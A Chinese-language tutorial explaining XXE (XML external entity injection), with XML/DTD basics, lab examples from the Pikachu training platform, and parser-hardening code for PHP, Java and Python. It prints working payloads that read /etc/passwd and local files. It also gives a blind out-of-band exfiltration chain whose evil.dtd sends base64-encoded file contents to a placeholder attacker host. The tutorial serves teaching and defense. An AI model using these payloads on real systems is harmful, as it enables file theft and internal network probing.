XXE(XML外部实体注入)详解
1. XXE漏洞描述
XXE(XML External Entity Injection)又称为“XML外部实体注入漏洞”。
当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。
2. XML简介
2.1 XML与HTML的区别
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
2.2 XML文档构建模块
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:元素、属性、实体、PCDATA、CDATA
2.2.1 实体
实体是用来定义普通文本的变量。实体引用是对实体的引用。
实体又分为一般实体和参数实体。
- 一般实体
-<!ENTITY 实体名称 "实体内容">
引用一般实体的方法:&实体名称;
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>
在XML实体中适用
- 参数实体
-参数实体的声明:<!ENTITY % 实体名称 "实体内容">
引用参数实体的方法:%实体名称;
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt"><!ENTITY % dtd SYSTEM "http://localhost/evil.xml">%dtd;%send;]><a></a>
2.2.2 PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
在DTD中,指定某个标签中的内容是字符数据。由于它的内容也是需要解析器来解析的,所有仍然需要转换>, <, &, ', "这5个特殊字符。
在DTD中声明:<!ELEMENT name (#PCDATA)> 它表示在<name>和</name>标签之间可以插入字符或者子标签。
2.2.3 CDATA
CDATA 的意思是字符数据(character data),CDATA 是不会被解析器解析的文本。
在DTD中,指定标签中某个属性的类型为字符型。如果需要使用>, <, &, ', "这5个特殊字符,应当用对应的替代替代字符来表示
在DTD中声明:<!ATTLIST a b CDATA> 它表示在a这个标签中,b属性应该是字符类型。比如 <a b="female">
<![CDATA[...]]>:内容不必被XML解析器解析时,使用<![CDATA[...]]>,经常把程序代码嵌入到<![CDATA[...]]>中
在XML中声明:<![CDATA[if(i<10){System.out.println("i<10");}]]>
3. DTD
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
3.1 DTD实体
DTD实体中,又分为内部实体声明和外部实体声明。
- 内部实体声明 :<!ENTITY entity-name "entity-value">
DTD 实例:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">XML 实例:
<author>&writer;©right;</author>
- 外部实体声明:<!ENTITY entity-name SYSTEM "URI/URL">
DTD 实例:
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">XML 实例:
<author>&writer;©right;</author>
4. XXE分类
4.1 有回显
以pichaku靶场为例。
直接抓包,定义回显内容为dsfdsfsf(标签可以自定义)
放包,内容会回显到页面。
或者直接输入payload,又分为两种,内部实体和外部实体。
- 外部实体声明
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>
当读取的数据存在特殊符号的时候,我们可以用<![CDATA[...]]>,因为XML中不允许出现特殊符号。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]> <roottag>&all;</roottag>
evil.dtd
<!ENTITY all "%start;%goodies;%end;">
调用过程:%dtd调用了了http://ip/evil.dtd文件,然后&all;调用文件中的%start;%goodies;%end;
- 内部实体声明
只能读取文件。
<?xml version="1.0"?>
<!DOCTYPE note [ <!ENTITY cc "qq"> ]>
<nn>&cc;</nn>
4.2 无回显
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "file:///d:/evil.dtd">
%dtd;%payload;%send;
]>
<a></a>
evil.dtd
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://ip:9999?content=%file;'>">
这里evil.dtd中send前面百分号要进行html实体编码,因为实体的值中不能出现%
5. 漏洞危害
- 读取任意文件
- 执行系统命令
- 探测内网端口
- 攻击内网网站
6. XXE防御
方案:使用开发语言提供的禁用外部实体的方法
- PHP:
libxml_disable_entity_loader(true);
- JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
- Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
参考资料:
https://blog.csdn.net/bylfsj/article/details/101441734
https://www.cnblogs.com/backlion/p/9302528.html
https://www.bilibili.com/video/BV1Hh411C7oT?from=search&seid=17532396550623932836&spm_id_from=333.337.0.0
XXE(XML外部实体注入)详解相关推荐
- XXE(XML外部实体注入)漏洞
如果你的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么你很有可能会受到XXE的攻击.XXE是一种非常常见的漏洞类型,我们几乎每天都会碰到它 什么是 ...
- pikachu XXE (XML外部实体注入)(皮卡丘漏洞平台通关系列)
目录 一.来自官方的介绍以及来自民间的扩展 1.pikachu官方简介 2.小女子之前画的脑图 3.两个不错的博客 二.小白菜的闯关 1.查看系统文件内容 2.查看php源代码 3.爆破开放端口 三. ...
- XML外部实体注入漏洞——XXE简单分析
前言: XXE漏洞经常出现在CTF中,一直也没有系统的学习过,今天就来总结一波. 文章目录 一.XXE 漏洞是什么: 二.XML基础知识: 1.XML是什么? 2.XML文档结构: DTD声明方式: ...
- Xml外部实体注入漏洞(XXE)与防护
转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...
- XML外部实体注入(XXE)的原理和应用
文章目录 XXE注入 一.XML简介 二.XML实体 三.CTF中XEE攻击 XXE注入 XXE注入全称是xml external entity 注入,也就是xml外部实体注入.XXE漏洞发生在应用程 ...
- 【burpsuite安全练兵场-服务端10】XML外部实体注入(XXE注入)-9个实验(全)
前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...
- XML 外部实体注入漏洞
0x01 XXE(XML外部实体注入)漏洞 1.1 漏洞原因 1.2 漏洞构造方式 1.3 XML可解析的协议 0x02 寻找XXE漏洞隐藏的攻击面 2.1 XInclude攻击 2.2 通过文件上传 ...
- Pikachu-XXE(xml外部实体注入漏洞)
XXE -"xml external entity injection" 既"xml外部实体注入漏洞". 概括一下就是"攻击者通过向服务器注入指定的x ...
- Web Hacking 101 中文版 十四、XML 外部实体注入(一)
十四.XML 外部实体注入 作者:Peter Yaworski 译者:飞龙 协议:CC BY-NC-SA 4.0 XML 外部实体(XXE)漏洞涉及利用应用解析 XML 输入的方式,更具体来说,应用程 ...
最新文章
- 红黑树分为红和黑有什么好处_彻底搞懂红黑树
- 题目1009:二叉搜索树
- PYTHON学习0022:函数基本介绍----2019-6-17
- 删除所有数据_批量删除空白单元格,只会Ctrl+G定位就out了,全部三种方法都在这...
- Vue3 VSCode新建项目报错The template root requires exactly one element.
- 删除microsoft_如何从您的Microsoft帐户中删除设备
- Xcode9的xib只支持iOS7.0及以上版本
- 女大学生两块钱成功进外企
- 真实的金陵十三钗:15名传教士的爱与泪
- mapreduce分组统计_mongodb中使用mapreduce进行分组统计
- Navicat实用功能:数据备份与结构同步
- android color列表,Android应用资源---状态颜色列表(Color State List)
- openmpi和blcr
- [Linux网络编程]高并发-Epoll模型
- Python 的切片语法为什么不会出现索引越界呢?
- 2020.11.16-使用Arduino测速
- 网页中使用阿里图标iconfont
- Windows 10 耳机插入前面板没反应的解决方案
- 方舟服务器显示等待发布,《明日方舟》开服既炸服的这波操作《方舟生存进化》永远也学不会...
- 《巴尔干两千年》pdfmobiepub电子版
热门文章
- 【每日一练】python实现九宫格数独小游戏
- 英文期刊名中常见的单词缩写 (个人整理不全面),后续还会整理。。。。
- 常用spaceclaim脚本(三)
- Ubuntu 搜狗输入法显示繁体,一直不显示简体
- 电脑重启bootmgr_电脑启动不了显示bootmgr
- (附源码)ssm医药销售管理系统 毕业设计 042322
- 刷机一直请求shsh_重磅,苹果刷机验证服务器异常(SHSH),大部分老版本开放降级,请速度降级或者备份SHSH2【已关闭】...
- asp.net 中的gridview 之gridview 分页
- 迅雷服务器未响应,给你传授win10系统打开迅雷就卡死无响应的图文方法
- 【CEGUI】资源加载流程